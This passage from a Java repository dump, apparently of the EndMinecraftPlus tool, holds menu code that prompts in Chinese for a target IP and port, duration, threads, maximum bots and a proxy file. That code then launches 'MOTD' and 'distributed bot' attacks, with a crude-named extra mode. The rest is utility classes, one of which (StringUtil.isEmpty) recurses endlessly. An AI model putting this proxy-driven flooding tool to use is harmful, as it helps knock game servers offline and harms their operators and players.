86 | log("请输入是否开启TAB攻击 y/n,默认关闭(n)");
87 | boolean tab = config.getBoolean("tab");
88 | log("请输入是否开启操死乐乐模式 y/n,默认关闭(n)");
89 | boolean lele = config.getBoolean("lele");
90 | getProxy();
91 | IAttack attack = new DistributedBotAttack(time, maxAttack, sleepTime, lele, tab, new HashMap());
92 | attack.start(ip, port);
93 | }
94 |
95 | public static void getProxy() {
96 | log("请输入代理文件名 如http.txt");
97 | String filename = config.getValue("proxies");
98 | log("正在获取代理");
99 | ProxyPool.getProxysFromFile(filename);
100 | }
101 |
102 | }
--------------------------------------------------------------------------------
/src/me/alikomi/endminecraft/Menu.java:
--------------------------------------------------------------------------------
1 | package me.alikomi.endminecraft;
2 |
3 | import java.util.HashMap;
4 | import java.util.Scanner;
5 |
6 | import luohuayu.EndMinecraftPlus.Utils;
7 | import luohuayu.EndMinecraftPlus.proxy.ProxyPool;
8 | import luohuayu.EndMinecraftPlus.tasks.attack.DistributedBotAttack;
9 | import luohuayu.EndMinecraftPlus.tasks.attack.IAttack;
10 | import luohuayu.EndMinecraftPlus.tasks.attack.MotdAttack;
11 |
12 | public class Menu extends Utils {
13 | private String ip;
14 | private Scanner scanner;
15 | private int port;
16 |
17 | public Menu(Scanner sc, String ip, int port) {
18 | this.ip = ip;
19 | this.port = port;
20 | this.scanner = sc;
21 |
22 | }
23 |
24 | public void _1() {
25 | log("MOTD攻击选择");
26 | log("请输入攻击时间(单位:蛤)(60)");
27 | int time = getCo(scanner.nextLine(), 60);
28 | log("请输入线程数(10)");
29 | int thread = getCo(scanner.nextLine(), 16);
30 | IAttack attack = new MotdAttack(time, thread, 0, false, false, null);
31 | attack.start(ip, port);
32 | }
33 |
34 | public void _2() {
35 | log("分布式假人压测选择", "请输入攻击时长!(3600s)");
36 | int time = getCo(scanner.nextLine(), 3600);
37 | log("请输入最大攻击数(10000)");
38 | int maxAttack = getCo(scanner.nextLine(), 10000);
39 | log("请输入每次加入服务器间隔(ms)");
40 | int sleepTime = getCo(scanner.nextLine(), 0);
41 | log("请输入是否开启TAB攻击 y/n,默认关闭(n)");
42 | boolean tab = getCo(scanner.nextLine(), "n").equals("y");
43 | log("请输入是否开启操死乐乐模式 y/n,默认关闭(n)");
44 | boolean lele = getCo(scanner.nextLine(), "n").equals("y");
45 | getProxy();
46 | IAttack attack = new DistributedBotAttack(time, maxAttack, sleepTime, lele, tab, new HashMap());
47 | attack.start(ip, port);
48 | }
49 |
50 | public void getProxy() {
51 | log("请输入代理文件名 如http.txt");
52 | String filename = scanner.nextLine();
53 | if (filename == null) {
54 | filename = "http.txt";
55 | }
56 | log("正在获取代理");
57 | ProxyPool.getProxysFromFile(filename);
58 | // switch (getCo(scanner.nextLine(), 1)) {
59 | // case 1:
60 | // ProxyPool.getProxysFromFile("http.txt");
61 | // break;
62 | // case 2:
63 | // ProxyPool.getProxysFromFile("socks.txt");
64 | // break;
65 |
66 | // default:
67 | // ProxyPool.getProxysFromFile("http.txt");
68 | // break;
69 | // }
70 | }
71 | }
72 |
--------------------------------------------------------------------------------
/src/xyz/yuanpi/CastUtil.java:
--------------------------------------------------------------------------------
1 | package xyz.yuanpi;
2 |
3 | /**
4 | * 转型操作工具类
5 | */
6 | public final class CastUtil {
7 |
8 | /**
9 | * 转为 String 型
10 | */
11 | public static String castString(Object obj) {
12 | return CastUtil.castString(obj, "");
13 | }
14 |
15 | /**
16 | * 转为 String 型(提供默认值)
17 | */
18 | public static String castString(Object obj, String defaultValue) {
19 | return obj != null ? String.valueOf(obj) : defaultValue;
20 | }
21 |
22 | /**
23 | * 转为 double 型
24 | */
25 | public static double castDouble(Object obj) {
26 | return CastUtil.castDouble(obj, 0);
27 | }
28 |
29 | /**
30 | * 转为 double 型(提供默认值)
31 | */
32 | public static double castDouble(Object obj, double defaultValue) {
33 | double doubleValue = defaultValue;
34 | if (obj != null) {
35 | String strValue = castString(obj);
36 | if (StringUtil.isNotEmpty(strValue)) {
37 | try {
38 | doubleValue = Double.parseDouble(strValue);
39 | } catch (NumberFormatException e) {
40 | doubleValue = defaultValue;
41 | }
42 | }
43 | }
44 | return doubleValue;
45 | }
46 |
47 | /**
48 | * 转为 long 型
49 | */
50 | public static long castLong(Object obj) {
51 | return CastUtil.castLong(obj, 0);
52 | }
53 |
54 | /**
55 | * 转为 long 型(提供默认值)
56 | */
57 | public static long castLong(Object obj, long defaultValue) {
58 | long longValue = defaultValue;
59 | if (obj != null) {
60 | String strValue = castString(obj);
61 | if (StringUtil.isNotEmpty(strValue)) {
62 | try {
63 | longValue = Long.parseLong(strValue);
64 | } catch (NumberFormatException e) {
65 | longValue = defaultValue;
66 | }
67 | }
68 | }
69 | return longValue;
70 | }
71 |
72 | /**
73 | * 转为 int 型
74 | */
75 | public static int castInt(Object obj) {
76 | return CastUtil.castInt(obj, 0);
77 | }
78 |
79 | /**
80 | * 转为 int 型(提供默认值)
81 | */
82 | public static int castInt(Object obj, int defaultValue) {
83 | int intValue = defaultValue;
84 | if (obj != null) {
85 | String strValue = castString(obj);
86 | if (StringUtil.isNotEmpty(strValue)) {
87 | try {
88 | intValue = Integer.parseInt(strValue);
89 | } catch (NumberFormatException e) {
90 | intValue = defaultValue;
91 | }
92 | }
93 | }
94 | return intValue;
95 | }
96 |
97 | /**
98 | * 转为 boolean 型
99 | */
100 | public static boolean castBoolean(Object obj) {
101 | return CastUtil.castBoolean(obj, false);
102 | }
103 |
104 | /**
105 | * 转为 boolean 型(提供默认值)
106 | */
107 | public static boolean castBoolean(Object obj, boolean defaultValue) {
108 | boolean booleanValue = defaultValue;
109 | if (obj != null) {
110 | booleanValue = Boolean.parseBoolean(castString(obj));
111 | }
112 | return booleanValue;
113 | }
114 | }
115 |
--------------------------------------------------------------------------------
/src/xyz/yuanpi/PropsUtil.java:
--------------------------------------------------------------------------------
1 | package xyz.yuanpi;
2 |
3 | import java.io.FileNotFoundException;
4 | import java.io.IOException;
5 | import java.io.InputStream;
6 | import java.util.*;
7 |
8 | /**
9 | * 属性文件工具类
10 | */
11 | public final class PropsUtil {
12 |
13 | /**
14 | * 加载属性文件
15 | */
16 | public static Properties loadProps(String fileName) {
17 | Properties props = null;
18 | InputStream is = null;
19 | try {
20 | is = Thread.currentThread().getContextClassLoader().getResourceAsStream(fileName);
21 | if (is == null) {
22 | throw new FileNotFoundException(fileName + " file is not found");
23 | }
24 | props = new Properties();
25 | props.load(is);
26 | } catch (IOException e) {
27 | } finally {
28 | if (is != null) {
29 | try {
30 | is.close();
31 | } catch (IOException e) {
32 | }
33 | }
34 | }
35 | return props;
36 | }
37 |
38 | /**
39 | * 获取字符型属性(默认值为空字符串)
40 | */
41 | public static String getString(Properties props, String key) {
42 | return getString(props, key, "");
43 | }
44 |
45 | /**
46 | * 获取字符型属性(可指定默认值)
47 | */
48 | public static String getString(Properties props, String key, String defaultValue) {
49 | String value = defaultValue;
50 | if (props.containsKey(key)) {
51 | value = props.getProperty(key);
52 | }
53 | return value;
54 | }
55 |
56 | /**
57 | * 获取数值型属性(默认值为 0)
58 | */
59 | public static int getInt(Properties props, String key) {
60 | return getInt(props, key, 0);
61 | }
62 |
63 | // 获取数值型属性(可指定默认值)
64 | public static int getInt(Properties props, String key, int defaultValue) {
65 | int value = defaultValue;
66 | if (props.containsKey(key)) {
67 | value = CastUtil.castInt(props.getProperty(key));
68 | }
69 | return value;
70 | }
71 |
72 | /**
73 | * 获取布尔型属性(默认值为 false)
74 | */
75 | public static boolean getBoolean(Properties props, String key) {
76 | return getBoolean(props, key, false);
77 | }
78 |
79 | /**
80 | * 获取布尔型属性(可指定默认值)
81 | */
82 | public static boolean getBoolean(Properties props, String key, boolean defaultValue) {
83 | boolean value = defaultValue;
84 | if (props.containsKey(key)) {
85 | value = CastUtil.castBoolean(props.getProperty(key));
86 | }
87 | return value;
88 | }
89 | }
90 |
--------------------------------------------------------------------------------
/src/xyz/yuanpi/StringUtil.java:
--------------------------------------------------------------------------------
1 | package xyz.yuanpi;
2 |
3 | public final class StringUtil {
4 |
5 | /**
6 | * 判断字符串是否为空
7 | */
8 | public static boolean isEmpty(String str) {
9 | if (str != null) {
10 | str = str.trim();
11 | }
12 | return StringUtil.isEmpty(str);
13 | }
14 |
15 | /**
16 | * 判断字符串是否非空
17 | */
18 | public static boolean isNotEmpty(String str) {
19 | return !isEmpty(str);
20 | }
21 | }
--------------------------------------------------------------------------------
/src/xyz/yuanpi/config.java:
--------------------------------------------------------------------------------
1 | package xyz.yuanpi;
2 |
3 | import java.io.FileInputStream;
4 | import java.io.FileNotFoundException;
5 | import java.io.FileOutputStream;
6 | import java.io.IOException;
7 | import java.util.Properties;
8 |
9 | public class config {
10 | private static Properties propertie;
11 | private static FileInputStream inputFile;
12 | private static FileOutputStream outputFile;
13 |
14 | /**
15 | * 初始化loadcfg类
16 | */
17 | public config() {
18 | propertie = new Properties();
19 | }
20 |
21 | /**
22 | * 初始化loadcfg类
23 | *
24 | * @param filePath 要读取的配置文件的路径+名称
25 | * @return
26 | */
27 | public static void readconfig(String filePath) {
28 | propertie = new Properties();
29 | try {
30 | inputFile = new FileInputStream(filePath);
31 | propertie.load(inputFile);
32 | inputFile.close();
33 | } catch (FileNotFoundException ex) {
34 | System.out.println("读取属性文件--->失败!- 原因:文件路径错误或者文件不存在");
35 | ex.printStackTrace();
36 | } catch (IOException ex) {
37 | System.out.println("装载文件--->失败!");
38 | ex.printStackTrace();
39 | }
40 | }// end ReadConfigInfo(...)
41 |
42 | /**
43 | * 重载函数,得到key的值
44 | *
45 | * @param key 取得其值的键
46 | * @return key的值
47 | */
48 | public static String getValue(String key) {
49 | if (propertie.containsKey(key)) {
50 | String value = propertie.getProperty(key);// 得到某一属性的值
51 | return value;
52 | } else
53 | return "";
54 | }// end getValue(...)
55 |
56 | /**
57 | * 重载函数,得到key的值
58 | *
59 | * @param fileName properties文件的路径+文件名
60 | * @param key 取得其值的键
61 | * @return key的值
62 | */
63 | public String getValue(String fileName, String key) {
64 | try {
65 | String value = "";
66 | inputFile = new FileInputStream(fileName);
67 | propertie.load(inputFile);
68 | inputFile.close();
69 | if (propertie.containsKey(key)) {
70 | value = propertie.getProperty(key);
71 | return value;
72 | } else
73 | return value;
74 | } catch (FileNotFoundException e) {
75 | e.printStackTrace();
76 | return "";
77 | } catch (IOException e) {
78 | e.printStackTrace();
79 | return "";
80 | } catch (Exception ex) {
81 | ex.printStackTrace();
82 | return "";
83 | }
84 | }// end getValue(...)
85 |
86 | /**
87 | * 清除properties文件中所有的key和其值
88 | */
89 | public void clear() {
90 | propertie.clear();
91 | }// end clear();
92 |
93 | /**
94 | * 改变或添加一个key的值,当key存在于properties文件中时该key的值被value所代替,
95 | * 当key不存在时,该key的值是value
96 | *
97 | * @param key 要存入的键
98 | * @param value 要存入的值
99 | */
100 | public static void setValue(String key, String value) {
101 | propertie.setProperty(key, value);
102 | }// end setValue(...)
103 |
104 | /**
105 | * 将更改后的文件数据存入指定的文件中,该文件可以事先不存在。
106 | *
107 | * @param fileName 文件路径+文件名称
108 | * @param description 对该文件的描述
109 | */
110 | public static void saveFile(String fileName, String description) {
111 | try {
112 | outputFile = new FileOutputStream(fileName);
113 | propertie.store(outputFile, description);
114 | outputFile.close();
115 | } catch (FileNotFoundException e) {
116 | e.printStackTrace();
117 | } catch (IOException ioe) {
118 | ioe.printStackTrace();
119 | }
120 | }// end saveFile(...)
121 |
122 | public static boolean getBoolean(String key) {
123 | return getBoolean(propertie, key, false);
124 | }
125 |
126 | /**
127 | * 获取布尔型属性(可指定默认值)
128 | */
129 | public static boolean getBoolean(Properties props, String key, boolean defaultValue) {
130 | boolean value = defaultValue;
131 | if (props.containsKey(key)) {
132 | value = CastUtil.castBoolean(props.getProperty(key));
133 | }
134 | return value;
135 | }
136 |
137 | public static int toint(String str) {
138 | int b = Integer.valueOf(str).intValue();
139 | return b;
140 | }
141 |
142 | }
143 |
--------------------------------------------------------------------------------